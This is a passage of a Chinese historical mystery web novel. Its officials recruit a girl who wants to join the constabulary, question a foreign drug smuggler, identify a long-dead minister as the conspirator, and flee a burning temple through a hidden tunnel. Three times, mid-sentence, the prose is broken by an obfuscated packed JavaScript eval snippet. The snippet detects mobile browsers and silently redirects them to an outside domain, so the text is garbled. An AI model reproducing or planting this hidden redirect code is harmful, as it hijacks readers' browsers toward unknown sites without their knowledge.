李珘怕她心思一歪不答应了,于是赶紧道:“这可是个千载难逢可遇不可得的机会啊,进了我们曳扇台,那是工作轻松......” 韩时元不合时宜地道:“作牛作马。” 宋景熙又忍不住笑了出来。他一笑,韩时元原本只是实话实说,这下也跟着他笑了。 李珘:“......还有带薪休沐。” 韩时元:“全年无休。” 李珘:“廪费充足。” 韩时元:“入不敷出。” “......”李珘否认道:“这条不对,入不敷出那是多少年前的事了,这些年台里情况可好许多了。啊你小子给我闭嘴!” “......”韩时元没说话了。宋景熙忍笑拍了拍他的肩。 李珘继续道:“总之廪费充足,完全不必担心拖欠俸禄的问题,而且福利满满哦。只要你点一点头,我就能在名册里加上你的名字!这实在是百年难遇的机会啊,寻常人我那都是看不上眼的。怎么样,小姑娘,入不入伙?” 苓介小声道:“我可以去捕盗厅吗?” 李珘没反应过来:“捕盗厅?” 苓介点头:“我想去捕盗厅。” 李珘心道这样的人才去捕盗厅有点大材小用了吧,便道:“捕盗厅...似乎是里设有女捕手一职,是叫‘茶母’来着?你想去?” 苓介两眼放光道:“是的,就是茶母!” 李珘道:“这...你为何想成为茶母呢?” 苓介实实在在道:“我想......捕盗厅是为了百姓的公平和正义存在的,流浪的时候,我看到过很多人遭受欺凌,每每我想帮忙却总是有心无力,因为我年纪小,而且是个女孩。受了委屈的人即便是向官衙告状,也很少能有人替他们说话。有一次我看到有个女子揍了一个欺负人的人,她离开时的样子,我记了很久,后来才知道那就是捕盗厅的茶母。从那时起我就想成为茶母,我也想为那些受了委屈的人说话,为受了委屈的人揍人。曳扇台很好,可是我......” “我明白了。”李珘适时接话,他看出了苓介想说却不敢说的意思,曳扇台是为王服务的,平头百姓几乎接触不到,也基本不会管百姓的事,百姓的事都是捕盗厅在管,所以,对于想要为百姓做点事的苓介来说,捕盗厅才是最好的选择。 曳扇台的确高大上,可捕盗厅才是接地气的,苓介这样的人,并不想要高大上。但是...... 李珘道:“捕盗厅的茶母是要筛选的,我只管着曳扇台,不能插手捕盗厅的筛选事宜,不然那对想要成为茶母的人来说不公平,所以只能靠你自己。并且茶母或许并不如你想的光鲜,很累,而且很少得到认可,最重要的是,按规定捕盗大将和从事官都是男子受任,对于女子来说没有上升的机会,你若成了茶母,往后都是这样的身份,要做一辈子。” 苓介坚定地道:“我不怕,而且,我会向他们证明我自己。” 李珘哈哈道:“那好。我也相信你肯定可以的嘛。不管怎么说,孩子,曳扇台时刻都是你的选择,你不选它,它也就在你背后。要是哪个没脑子的捕手敢瞧不起你、欺负你,我这就叫人去给他们个教训,就算过得不易,也千万不要为了能继续干下去而忍气吞声,那些人啊,你要是不反抗,只会变本加厉,知道不?” 苓介握紧拳头重重点头道:“我知道了,谢谢您!” 67. 茶母其三 天铃给海商包扎好小腿便带着天锋和天沛退了出去。海商不是个蠢蛋,意识到了自己的确没有性命之虞,但即便如此,却依旧一直警惕地盯着屋内几人。 半晌后,海商用蹩脚的海东话说道:“你们抓我到底要干什么?” 李珘笑眯眯地道:“说了只是帮个忙而已。你是哪里人?” 海商不说话,李珘继续道:“老兄,其实你们干这一行的有什么规矩我们也都清楚,因为你们这些人都是站在绳索上讨生活的,倒卖的东西都是没有经过官府允许的,那就注定了有被捉住的风险,所以我们抓你也并没有错不是吗。” 海商的表情极不明显地松动了一点。李珘继续火上浇油:“你也知道倒卖走私物的生计有多危险,你们这一行的人每年被各国各地抓住的人应该不少吧,所以我想老兄你也知道自己迟早有一天会被抓,也早就做好了准备?” 海商沉默半晌,哼道:“那你就杀了我吧。就像我那些被抓住的同伙一样。” 李珘唉道:“我们并没有说过要杀你啊。老兄,我们抓你,只是想要你帮一个忙而已,因为你倒卖的货物......” 正在这时,苓介端着一个碗走了进来。海商一见她进来,立刻就将目光转移了过去,怒目重重哼了一声:“老子干了半辈子的活计,记了一辈子的不准下船,就这么栽倒在这里了。果然是干好事绝没有好报!干坏事的富贵一辈子!” 坐在角落的宋景熙心里默默道:“你也没少干坏事吧。” 苓介带着歉意道:“对不起。我们只是希望您帮个忙,这件事事关重大,我们不得已才出手伤人,您不要介意。” 海商道:“我跟骗子没什么好说的。” 苓介将碗塞到海商手里:“我不是骗子。” 海商看着碗里颜色漆黑和散发着奇异的强烈怪味的水,犀利地道:“我不帮,你们要杀我。” 李珘突然忍不住哈哈哈捶腿大笑起来。 苓介无奈道:“这不是毒药,这是汤药,是治病和疗伤的,不会杀人。” 海商道:“骗子的话,老子不信。” 苓介重复道:“我不是骗子。我的确是赵郡守的女儿,您七八年前见到的那个女人也的确是我娘,我娘也...的确去世了。您要是不信,我带您去我娘坟前看一看,她是我亲手埋葬的。” “......” 李珘适时道:“我说老兄,你究竟是哪里人,竟不知你手上那碗是什么。” 海商哼道:“反正不是你们这里的人。”他很是怀疑地看着手里那碗汤药,又扫了眼苓介,用鼻子闻了一闻,很笃定道:“你们就是要杀我。” “你都没拒绝帮忙,我们为何要杀你。”李珘道:“你没见过这汤药,看来你们那儿都不喝这个,那你们那里怎么治病?血肉之躯有疼痛的时候怎么消止?” 海商道:“我们有自己的方法。” 李珘哦了一声:“譬如,服用解忧草?被你们称为圣草的东西。” 海商看过去:“说来说去还是为了圣草来抓我。你们到底要我帮什么忙才肯放过我?要是不肯放过我,那就杀了我。” 他一边说,目光里也有了凶意。现在心里一边觉得自己不太可能活下来,毕竟他那些在其它地方被抓住的走私兄弟没几个还能活下来的,一边想要是死,那最好是一个利落的死法,可不希望自己像那些兄弟一样遭受折磨而死。这样想着,他竟有些壮士断腕般豪气地将碗里的水一饮而尽,然后剧烈地张嘴吐舌咳嗽了老半天,大声呸呸道:“你们海东人哪里搞到这么难喝的毒药!” 苓介收过碗,平静地道:“大家都这么喝。” “看来你不会是中原人或者东瀛人。”李珘拍了拍膝盖,决定直奔主题了,直接道:“老兄。” “圣草的效用,我想你作为倒卖人,肯定是最清楚的。这东西被你们弄进来,害了我们的人,还害得有点严重,差点叫人家破人亡哦不对,害得人已经家破人亡了。你们走私这种害人的药草进我们海东时就该有觉悟,害人总归是要有代价的。” 海商眯起眼看着李珘,眼底没有疑惑。李珘心想放心了,这家伙听得懂。 他继续道:“但是这件事是由我来负责,你要承担什么代价都是我一句话的事。我们讲将功抵过,只要你肯告诉我们你是通过谁把圣草走私进来的,我就敢放了你。你既然是个商人,怎么把握利弊还是会挺有一手的吧。” “说话太复杂了。”海商依旧眯着布满褶皱的双眼:“但是我明白你的意思。我要活着。” 开玩笑,他在故国还有一大家子要养活,怎么可能这么轻易死在异国他乡。 “你说的没错,我是通过一个男人把我们的圣草运进你们的地盘的。这个男人长得像你们,也是海东人。你的意思是要我帮你们找到他?这会花费很久。” 李珘微笑道:“不会很久的,老兄。”说完便朝一直坐在角落里聆听的两个徒弟道:“拿过来吧。” 两人原本坐在角落里,守着桌上好几摞厚厚的纸,一边聆听一边百无聊赖地翻着这些纸。这下闻声而动,一人一手各拿一摞纸朝李珘走过去。 李珘道:“让他看吧。” 宋景熙点点头。这些纸都是存在曳扇台的中央或地方大小官员的画像,被李珘从汉阳悉数带了过来,就是等抓住海商后让他指认的。 海商惊讶了一瞬,而后一语不发地看起来。宋景熙拿起一张张纸依次呈现在海商面前,海商一摇头,就让被否认的画像被韩时元收走。如此看了大几十张后,海商也摇了大几十次头,直到最后一张画像被韩时元收走,海商依旧是以摇头结束。 李珘本来没有耐心地敲着桌子,这下也没有耐心敲下去了,跳起来叫道:“全都不是?!” 海商睨了他一眼:“那个海东人是我见过最大方的家伙之一,我不会记错。这些人都不是他。” 李珘道:“你这家伙!是不是也吃了那圣草记性变差了??!” 海商骂了一句他们那儿的话,并道:“老子根本没吃过乌阿叶!” 李珘抓狂道:“你还知道你卖的东西不是什么好玩意!等等,乌阿叶?”他重复了一下这三个陌生的音节,听起来就是个从未听过的奇特语言。 海商闭住了嘴巴。 “这就是你们圣草的本名?” 海商哼了一声:“你们不懂。在我的家乡,乌阿叶被奉为圣草。” 他记得,记得...在家乡有一块长到连接着天际的山坡,整座草坡上都种满了绿油油的乌阿叶,乌阿叶成熟的时候,就会变成深绿色,而衰老的时候,就会变成紫色,将要死亡的时候,就会变成黑色,落在地上,变成养料,滋养土地。那些种植乌阿叶的农人,会故意任由一些乌阿叶变换颜色然后落地变成养料,以此保证每年的乌阿叶都长得茁壮结实,渐渐地,就长了连绵的山坡。 这就是他们的圣草。 后来,一场海啸摧毁了山坡,淹没了漫山遍野的乌阿叶,连领主的宅邸都被摧毁,更不用说他们这些下等人。人所拥有的一切都被摧毁的时候,就会走上从前从未想过甚至完全不敢走的道路。海商就是这样的人,尽管知道擅自叛离领主被抓住后会被扒皮抽筋,然后用长长的棍子插在地上暴晒而死,但在变成独自一人后的某一日,还是决定离开领主的园地,坐上一艘前往他国私贩乌阿叶的商船,成了一个私货贩子。 李珘道:“你们种这种变态的东西,还奉为圣草?” 海商道:“我说了,你们不懂。” 李珘呵道:“我就是被你送过来的乌阿叶害了,这玩意,可不就是毒草?” 海商道:“在我的家乡,只有对过去充满痛苦的人才会吃下乌阿叶。它可以帮人忘记痛苦,那些吃下它的人,被我们叫做没有过去的人。” 李珘啧啧道:“这个叫法倒是有意思,也确实符合乌阿叶的效用,只是这也改变不了它是毒草的事实啊。” 海商否认道:“不,只要你一直服用它,它不会伤害你。” 李珘道:“分明是服用越久后,遗忘的越多,最后变成一个六亲不认的疯子。” 海商道:“不,不对,那是有剂量的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795417|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之所以会遗忘太多,是吃了太多。不能把它当水喝。” 李珘道:“跟你说不清......那我问你,一旦停止服用就会被它害成疯子,这样霸道的东西,哪能被视作圣草?” 海商摆出一副不屑的表情:“乌阿叶是绝对的圣草,那些遭受痛苦的人,还不是因为他们自己心生恶念,利用了圣草,既然选择了圣草,那就绝对不能后悔,不能背叛,否则,圣草降下惩罚也是正常的。” 李珘:“总有人不是主动服下的,这分明是害人的东西,无法理解......” 海商:“哼。” 韩时元忽然道:“老师。” 李珘转过头看他:“?” 韩时元将话题转回到指认黑手,道:“也许不是在任官员。有些逝世官员的画像我们没有。” “哦哦哦对!”李珘舒展眉头兴奋地道:“对对对,没错。可是、可是我没那些人的画像啊?!” 宋景熙道:“逝世官员的画像不会保留吗?” 李珘歇倒在椅子上,道:“前一任曳扇台主解官前销毁了那时的已逝官员的画像。其中就包括......包括,呃,包括几个要员。” 宋景熙沉思道:“如果是曾经担任过要职的大员的话,那么其画像在各自的家中有所留存用以祭祖,我们可以去汉阳找这些人的后代去要。” 韩时元也沉思道:“但这样是否有些太过兴师动众?” 李珘点头道:“是很兴师动众。呃,呃...要不这样,景熙啊,我记得...这里头好像没有宁城尉的画像,你能不能向家里要一要?” 宋景熙惊道:“我祖父?” 李珘猛地点了点头:“别误会我没有怀疑你们家的意思!” “老师,我没误会。”宋景熙道:“要得到...那我即刻出发。” “先不必。”韩时元拦住他,道:“我这有一副画像。不如先看了这副画像再说,若是也非此人,我们再回汉阳。” “好。”宋景熙点头:“是谁的画像?” 韩时元道:“韩丙建。” 李珘吸了一口气。 “你哪来的韩丙建的画像?他死得早,他的画像,我记得好像也被前任台主给销毁了啊。” 韩时元道:“是烧毁了。但我画得出来,这里是否有纸笔墨?” 李珘拧眉摸了摸胡子,道:“好吧,你画吧.....天锋!拿纸笔墨来!” 外面守着的天锋应了一声。 一刻后。 看着白纸上栩栩如生的一副人像。宋景熙惊叹道:“画得真好。” 韩时元轻笑一声道:“一般水准罢了。” 宋景熙好奇道:“真的很不错了,哪里是一般水准。不过你怎会知道韩丙建长什么样子?他可是死了好多年了。” 听他这么问,韩时元凝了凝目。 李珘立刻将画像从桌上抓过来,展到躺在榻上的海商面前,道:“是不是他?” 海商还在暗中吞口水以消除舌头根的苦味,画像突然袭来,他停下咽嗓子定睛一看,眯起眼睛,很快肯定地道:“就是这个人!” “......!!” 李珘眼底流露出震惊之色。 韩时元则是眯了眯眼,他原本只是抱着试一试的心态。 李珘瞪眼瞧着海商,戳戳画像上韩丙建的脸,语气夸张道:“你看清楚没有?真是他?!” 海商不耐烦地道:“老子记得就是他啊,跟这个画的人上长得完全一样。你们找到了人,应该放我走了。不要不讲诚信。” 苓介道:“您别着急,我们会放您离开,但大概要等到您的伤好了之后才行。而且就算我们现在放您离开,您也没有可以乘坐的船不是吗。” “......” 李珘继续盯着海商道:“赵家人和这个人是怎么勾结在一起的,你知不知道?” 海商道:“我只是个卖货的。” 李珘捏紧手指将画像胡乱折了起来,狠狠皱着眉头道:“景熙,时元,跟我来!天锋天沛,守好了!” 68. 茶母其四 他找了另一间屋子,一撩下袍没好气地坐了下来,道:“这个韩丙建!” 两人也跟着坐了下来。韩时元道:“竟然是他。” 李珘道:“竟然是他!不不,不该说竟然,我们哪里是没有想到会是他,早些年这家伙也是有嫌疑的,若不是主上过于信任韩氏,我们岂会把他的儿子从嫌疑名单上除名?” 韩时元无声颔首,而后道:“我们的嫌疑名单出了问题。” 宋景熙不解道:“嫌疑名单?关于黑手的吗?”他怎么不知道有这个。 李珘啊了一声:“这个,景熙你确实不知道,我们一直没给你看过,就是你说的‘黑手’嫌疑名单,上头都是我和主上这些年敲定的嫌疑官员,像韩丙建这种人,还有...呃,或许你也早就意识到了,还有你父亲,宋道真,也在那名单上。” 对此,宋景熙并不十分惊讶,表现得还算冷静:“其实...我没有意识到,不过既然韩丙建都在那个名单上,那我父亲在名单上也并不奇怪了。” 毕竟当年讨厌废世子的新政的官员不在少数,讨厌废世子的更是一抓一大把,他父亲好像就不太喜欢废世子。 李珘抓胡子道:“那如果我说,你父亲是第一嫌疑呢?” 宋景熙:“嗯?!” 他不解道:“这、这是为何?我不是为我父亲说好话,只是...只是韩氏韩丙建的嫌疑不该才是最大的么?” 在废世子那场变故里,谁因为废世子的变法而受到损害的利益最大,那么就应当谁的嫌疑最大才对,他记得,比起韩氏,宋氏被削去的利益少得多,毕竟祖父宋泰日当年受封宁城尉之后就不再要旁的功名了,晚年一直处于小隐的状态,因而宋氏在废世子变法时算是受到损害较少的一批世家。至于韩丙建则是在居功之后一路高升,还手握军权,虽并未官至三政丞之列,但死后还是追封了的。而废世子的变法就削了他的军权,动了韩氏一族的根基,并且变法被废后军权也并未回到韩氏手上,可谓是受伤最深的世家。 所以于情于理,都是韩丙建嫌疑最大嘛! 李珘继续抓胡子:“韩丙建的确是很有很大嫌疑,可第一,当年对宫内人的调查没有进展,对于韩丙建的怀疑只是流于心底,并无分毫证据,若是严刑审讯,会伤了韩氏一党之心,他们毕竟是扶持先王上位的功臣,加之那时因为我辍朝时日已久,变法也逐渐被封锁或废除,对于勋旧一派的牵制失去握力;第二,有一个最重要的原因,就像我方才说的,韩氏得到了主上的信任,若说得具体些,其实是他的儿子韩义亨得到了先王和主上的信任。” 听到这个名字,韩时元深邃的眼底流过一丝厌恶。 宋景熙没注意到他,一心一意投入到李珘的话里,听了,更觉奇怪,便道:“这是为何?” 李珘道:“那天我犯下意欲弑父之举后,百官早已苦我久矣,有了废掉我的机会,自然不会放过。韩丙建,还有你父亲他们在勤政殿外跪着请先王废黜我时,除了你祖父宋泰日反对这件事,还有一个人暗中写下了一本奏疏,直言不该废掉世子,应严查,并惩办闹事者,以此明正典刑、彰显威势,这和你祖父的想法不谋而合。写这本奏疏的这个人就是韩义亨。” “韩丙建早早死了,而其子韩义亨却是忠臣。作为当年和韩丙建一同跪在勤政殿外请废世子的百官之一的你父亲,自然也就顺位成了嫌疑最大的人。” 宋景熙越听越沉思,他爹竟然成了第一号的嫌疑黑手,虽然老师说得也不无道理,只是......他拧眉道:“老师,我有疑,韩义亨的那份奏疏,真的是他心中所想吗?” 李珘正在看着韩时元,在宋景熙沉思的时候,他看见韩时元的脸色越来越不好,眼神也越来越冰冷,这可不是个好征兆,他顿时心生一计,先朝韩时元道:“时元!” 韩时元回神道:“...老师。” 李珘摆手催促道:“我犯烟瘾了,你去、去拿我的烟斗来!赶紧的。” 支走了韩时元,李珘便立刻又对宋景熙道:“因为他交出了韩氏的兵权。” 在奏疏中,韩义亨对于废世子的变法的评判完全击中了先王的心思,先王看这份奏疏时,时为崇信大君的主上在先王身边侍读,看了这份奏疏,也十分赞同。尤其是在王权之论上,韩义亨也支持废世子收归王权尤其是兵权的做法。兵家之权,弊病在二,一为臣子分权,二为内部腐坏,废世子的变法就是针对这两点来变的,手段之所以会过激,无非是掌握兵权的人不配合,在将士内部搞腐坏的人不配合,因此,韩义亨在奏疏上这么写,他愿意让韩氏交出兵权。 而且之后,他真的这么做了。因为他敢这么做,而且拒绝和父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807370|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲韩丙建一起去勤政殿外请废世子,导致他与韩丙建的父子关系一度紧张非常。据说,只是据说,韩丙建死前留下的诸多遗言之一便有不让韩义亨这个儿子在他葬礼上哭。 “君子论迹而不论心。”李珘道:“况且韩义亨的确是个相当有能力,相当忠心耿耿之人,主上因此十分器用他,否则怎会让他坐到比他父亲还高的领议政的位置上?名单上自然也就没有韩义亨的名字。不过他爹韩丙建的名字还是有的,然而韩丙建死得早,那时主上考虑了很久,还是觉得,韩义亨和韩丙建是不同的人。” 宋景熙心道感觉有点草率,便开口道:“但韩义亨在世子之争中帮助睿南君夺得了位置,看中的是王位,他也并非完全是为了主上。” 李珘欸了一声:“这就是你想的不对了景熙。” 宋景熙歪了歪头。 “韩义亨他又算不得圣人,圣人是几百年出一个的百年难遇,哪轮得上他?他既然是勋旧一派的领袖,自然要为自己的党派谋一谋利益。说实在的,为师我就告诉你吧,选择睿南君,那也是主上自己的意思,韩义亨和你父亲只不过是推波助澜罢了,难道承政院的都承旨写的立世子教旨是韩义亨或者你父亲的旨意吗?不是的吧,终归还是主上自己的心意。” 宋景熙略有愧色道:“原来如此。还是老师看得清,一番话胜读十年书。” 李珘道:“这些事情纷扰复杂,宛如重重迷雾置于眼前,若全靠自己拨开,那断然是幻想,有人点拨那是好事,不必羞愧不必钦佩。我年轻的时候也这样啊。” 这时,韩时元走了进来,大概是他自己也去冷静了会,脸色显然恢复了正常,连宋景熙都没看出来异色。李珘接过烟斗迫不及待地塞叶子点燃吸了一口,仿佛全身有了力气,精神抖擞道:“赞!大赞!” 他继续连抽几口完,终于舍得放开烟嘴,朝宋景熙嘿嘿道:“景熙啊,你可知我对你说这番话是为什么?总该意识到了吧!” 宋景熙没思考便脱口而出:“不知。” 李珘瘪嘴道:“原来我竟白说了那般久好吧也不算白说......”他神色再度严肃起来,语气也变得万分正经:“我曾答应过你的,废世子案解决后,我和时元会告知你眉寿山之事究竟是怎样,你知道的我不是个喜欢违背诺言的,所以也该对你坦白了......” 69. 绝生其一 浓烟滚滚。 顶着这样五步以外就看不清任何东西的浓雾,韩时元眯着眼睛捂住口鼻,一路完全是埋头按记忆和本能走到光隐寺的。这条路他从前走了无数遍,从未如此艰难过。 忽然,他意识到前方似乎有些光亮,光亮正在一片浓雾之间跳跃着。他抬头看去,瞳孔顿时一缩。光隐寺分明已经陷入火海当中! 有些建筑的屋顶甚至已经被烧塌了。 先前决定留在寺内的僧人大约有□□名,此刻只有少数几个还留在院中,看着门窗和屋顶被大火吞噬,这些僧人神色肃穆,口中念念有词,竟并无分毫害怕之色。 其中便有住持静真大师,却没有李珘。韩时元快步踏上前去,失声道:“住持大师?他......” 静真大师缓缓睁开眼,厚重的双眼中流露过一丝转瞬即逝的诧异,神情依旧肃穆道:“小施主随我来!” 一边跟着静真大师,韩时元道:“火势为何会从寺内而起?” 他入光隐寺时,这片山林还是没有被烈火吞噬的,否则他怎么可能过来。周围都还没被烧,反而是光隐寺被烧了! 静真大师道:“有人持着火把到了这里,点燃了佛像。” “这些纵火的畜生呢?” “自焚了。” “......” 快步穿过数道墙,来到一处并未被火势完全波及的屋子内,这里韩时元知道,这是住持的斋舍。 进了住持斋舍,斋舍里地上的榻上竟躺着个胸口有血的男子,不是李珘还能是谁?! 李珘已经晕过去了,韩时元当即跪坐下来,神色凝重的掰起李珘的手便要去试探他的脉搏,只是手指方搭上脉处,李珘便艰难地睁开半只眼朝韩时元扯了扯唇,声音沙哑道:“你这个臭小子...终于来了...” 韩时元道:“信号烟!” 李珘道:“这么浓的烟,我还担心你看不到...景熙呢?” 韩时元垂眸道:“...他已经下山了。” 李珘闭眼叹了口气。 韩时元道:“是我让他走的。” 李珘睁眼道:“走了好。总要有人活下来。还好走了...不然我真是害死他了。” 韩时元默默不知道该说什么。 李珘刚准备侧身坐起来,却又突然愣了一下,韩时元看他看过去的方向,竟发现门窗糊纸的地方已经燃起了火花,大抵是周围的烟火飘至此处所致,看来这里很快也要被烧个精光了。李珘的心紧了紧,还是闭眼躺回去了,他长长地叹了一口气,过了半晌才道:“这是要死得不明不白啊。” 韩时元红着眼道:“不会死的。” 静真大师道:“阿弥陀佛。” 过了不知多久,忽然隔壁一声劈里啪啦的巨响打破了住持房内一片要命的死寂。几人都朝那声音的源头看去。静真大师神色一变,蹲下来在斋舍内的一个箱子里翻了一阵,翻出一个铜制的钥匙,快步冲至通往隔壁斋舍的门前,这道门被上了锁,他飞速地咔哒一声解开锁头,猛地推门,整张脸神情顿时一变。 摆设陈旧的屋内靠南的一面墙的正中摆着一尊木雕佛像,而这佛像已然被火焰吞噬! 从李珘和韩时元的视线看过去正好可以看到那尊燃烧正烈的佛像,可也只看到了不过几眼,忽然从顶上掉下来一块横梁,横梁重重砸在佛像身上,本就快化为灰烬的佛像霎时四分五裂,连底座也被砸个粉碎。 静真大师颤抖着走到佛像前,对着佛像道:“罪过!罪过啊!”接着口中也念念有词起来,只是尤为磕绊。 李珘给韩时元使了个眼色,示意他过去。静真大师并未理会走来的韩时元,忽然睁开眼睛死死顶着碎裂的底座。韩时元正觉奇怪,也多看了几眼,终于发觉有什么不对劲的地方,这底座下面,竟是块和底座一般大小的木板开关! 之所以一眼就看出来是木板开关,是因为室内其它木板都是竖向,而这一整块木板却是横向。静真大师突然跪了下来,不顾灼烫将那些木雕碎片推到一边,将木板上的木块都清理走,完全露出横向木板来,然后掸灭手臂上的火苗,再用被烧红的手将横向木板从地上扣了出来,露出了木板下的玄机——木板下,竟是一片空洞! 李珘这时早在韩时元的搀扶下挣扎着走了过来,看到静真大师的作为和那片空洞也是震惊非常,怪道:“这佛像是哪位大佛?为何...底下会有一片空洞?” 静真大师颤抖着身子道:“这是法圆师傅的像。” 李珘心惊一下,法圆师傅?那就是光隐寺的开寺住持了吧,传说来看距今已逾两百年,那肉身不是葬在光隐寺后山里了么,这里怎会有一尊像? 不待他说出心中疑问,静真大师便顶着那片黑黢黢的空洞道:“法圆师傅...不是坐化而死,他的遗体,也不在后山。法圆师傅他...晚年闭关修行,除了送食弟子,不许任何人打扰,多年以后,一日送食的弟子敲不开门,出于担心而闯入,这才发现屋内并无一人。他并未出门一步,于室内一夜之间消失不见。” “继任的师傅为其刻了一尊佛像,供于其生前的斋舍当中,并锁上此间房,往后历任住持都宿于隔壁。两房之间仅隔一道门。” 李珘看着法圆大师木像底下的玄机,只觉魂魄也要被吸入其中一般。三人抬头朝上看去,头顶正燃着,倒是给他们借了光明,能看得到黑洞里面的一部分。洞口很宽,只不过是一道纵深向下的四壁都是泥土的通道,而一面的泥壁上竟然嵌着左右两个排列整齐的二指粗细的木头,只在外露出五指长的部分。 静真大师捡起一个燃烧的长棍握在手中伸入通道内,几人也就看得更清楚了,深不见底的通道下还嵌着不知其数的木钉,分成两列,左一列右一列,上下之间隔半人高,深入通道内,诡异得叫人心生惊骇。 李珘感到很诧异:“这是什么东西??” 静真大师道:“贫僧也不知。” 韩时元道:“似乎,是梯子。” "......”李珘恍然大悟道:“可以顺着这些木钉爬下去!?” “阿弥陀佛。不知这地道有多深。”静真大师道:“施主是否愿意下去一探究竟?” 李珘还没考虑,忽然脖子上一痛,头顶上快要烧塌的屋顶的火星掉了下来燎到了他,顿时心下一沉,当即道:“反正已经是死路一条了,下!时元,跟不跟着我?” 韩时元凝重颔首。 静真大师道:“千万小心。阿弥陀佛。” 李珘坚持要打头阵,但还是拗不过韩时元,韩时元先踩住最上层的被嵌在泥壁里的木钉,再小心谨慎地踩住下一个,同时紧握住上一个木钉,如此交替,有条不紊,已经下了一人之高,他抬头朝李珘点头示意,李珘看着这孩子的脸心道年纪大了胆子也大了,默念一声老子要活着,也跟着踩了下去。 一老一小一上一下,就这么奇异地攀了不知多久。由于看不清底下,韩时元也并不知哪里也是终点,直到脚没有再碰到下一个木钉,而是踩在了一块平坦的地上。 他长呼一口气,朝上道:“见底了。” 李珘身上有伤,爬得慢,离底下还有一段距离,他边爬便估摸着大概下了四丈深。底下,韩时元取出绑在腰间的蜡烛,再擦亮,顿时亮堂起来。 ......这竟然,果然是一间地下密室。 有桌椅,有书架,书房,角落有三个桶。空间不大,相当逼仄。 地下书房? 李珘哼哧哼哧爬了下来,一落地拍拍胸脯结果拍到伤口呲牙咧嘴一阵,扭头过来看见眼前场景,也是吃了一惊,道:“地下五丈的地方挖间密室?法圆大师疯了?看这墙壁,泥土竟比岩石还要硬,挖出这般体量,怕不是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807371|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多年?” 上边静真大师瞧见地下亮光,呼道:“施主!下边是何物?” 李珘仰头回道:“一间书屋!” 上边静了静,又呼道:“书屋内有何物?” 李珘指了指那桌椅和书架,对韩时元道:“去看看。” 韩时元走到桌案旁,桌案上摆放着数本佛经,小心翻开,内里竟已经腐烂得几乎看不清字了,只能辨认出有许多经文和手写注解文字。看来是曾在这里的法圆大师读经的成果。再走到书架旁,若说这是个书架,倒不如说是个破烂木架台子,放着众多一样腐烂了不知多少年的经文书籍。取了一本小心翻开,和桌案上的书籍并无二致,都是经文加注解。 李珘道:“有没有什么特别的?” 韩时元摇头道:“没有。” 李珘再度仰头道:“都是些经书,在桌案和书架上,没有什么特别的!” 上边道:“可否麻烦施主将桌案上的经书拿与贫僧一看?” 李珘朝韩时元道:“去。” 韩时元随便抄起一本绑在腰间,踩上木钉攀了上去,将书籍解给静真大师,静真大师捧起书只匆匆看了一会,不知是看到了什么,大惊失色,连嘴唇都在颤抖,道:“下面有出路!小施主,你们快去看一看!出路藏着!” 韩时元又立刻回去,李珘听到了静真大师的话,早就开始在密室里四处摸索了。密室不大,甚至不如上方的斋舍大,很快,两人发觉在书架的背后,似乎有点不对劲。 韩时元将书架下方靠脚的几排书籍移开,便赫然露出书架背后一道近乎一人高的墙洞。这墙洞之前被堆叠的书籍挡得严实,这下露出真形来,只是更加怪异,令人胆寒——也是一道深邃幽暗的地道。 只不过不是垂直向下,而是一个向下的斜坡,高度不过肩,宛如怪物的肠道一般幽深可怖。 上边呼道:“施主找到与否?” 李珘喊道:“找到了!是个继续向下的斜坡道!” 上边静默了一会才道:“那也许是逃生之路,麻烦施主沿着这条路走下去。” 李珘道:“但愿是逃生而非绝生!”他扭头对韩时元道:“这次我打头阵。” 结果还是拗不过,韩时元先走了进去,李珘捂着胸口的伤紧随其后。 沿着这条道路走向深处,地道的坡度越来越陡,一眼望去,仿佛通向地心。越走越深,越走越窄,越走越矮。从近一人高到不足半人高,只能让人蹲着或跪着前行,再到后面,高度越来越低,导致两人只能匍匐前行,如此一来,竟让人有种在怪物肚子里被逐渐消化了的窒息般的错觉。 这是相当长的一条路,路途中居然还有被丢弃的铲子,是个铜制的,已经磨损地十分严重了,想必是挖出这条隧道的大功臣。越到后面,“大功臣”越多,不仅有铲子,还有镐子,简直让人难以想象这隧道究竟有多长才会耗费这么多挖土工具。 又不知道匍匐了多久,终于到了尽头,而这里的高度已经不足小腿高了。 见韩时元突然停下来,李珘还以为到了尽头,长叹一口气,先前过隧道的时候为了保存体力以及累到说不出话,所以一直憋在心里没说,这下他停下来狠狠吸了一口气,骂道:“这个法圆大师,挖这些到底是想干嘛?!这和活埋有区别吗!再爬我这把老骨头都没命了!” 韩时元依旧一动不动,他似乎是想回头看李珘一眼,但由于转不过来,遂放弃,再往前匍匐了一小段,竟然直接钻出去站了起来。 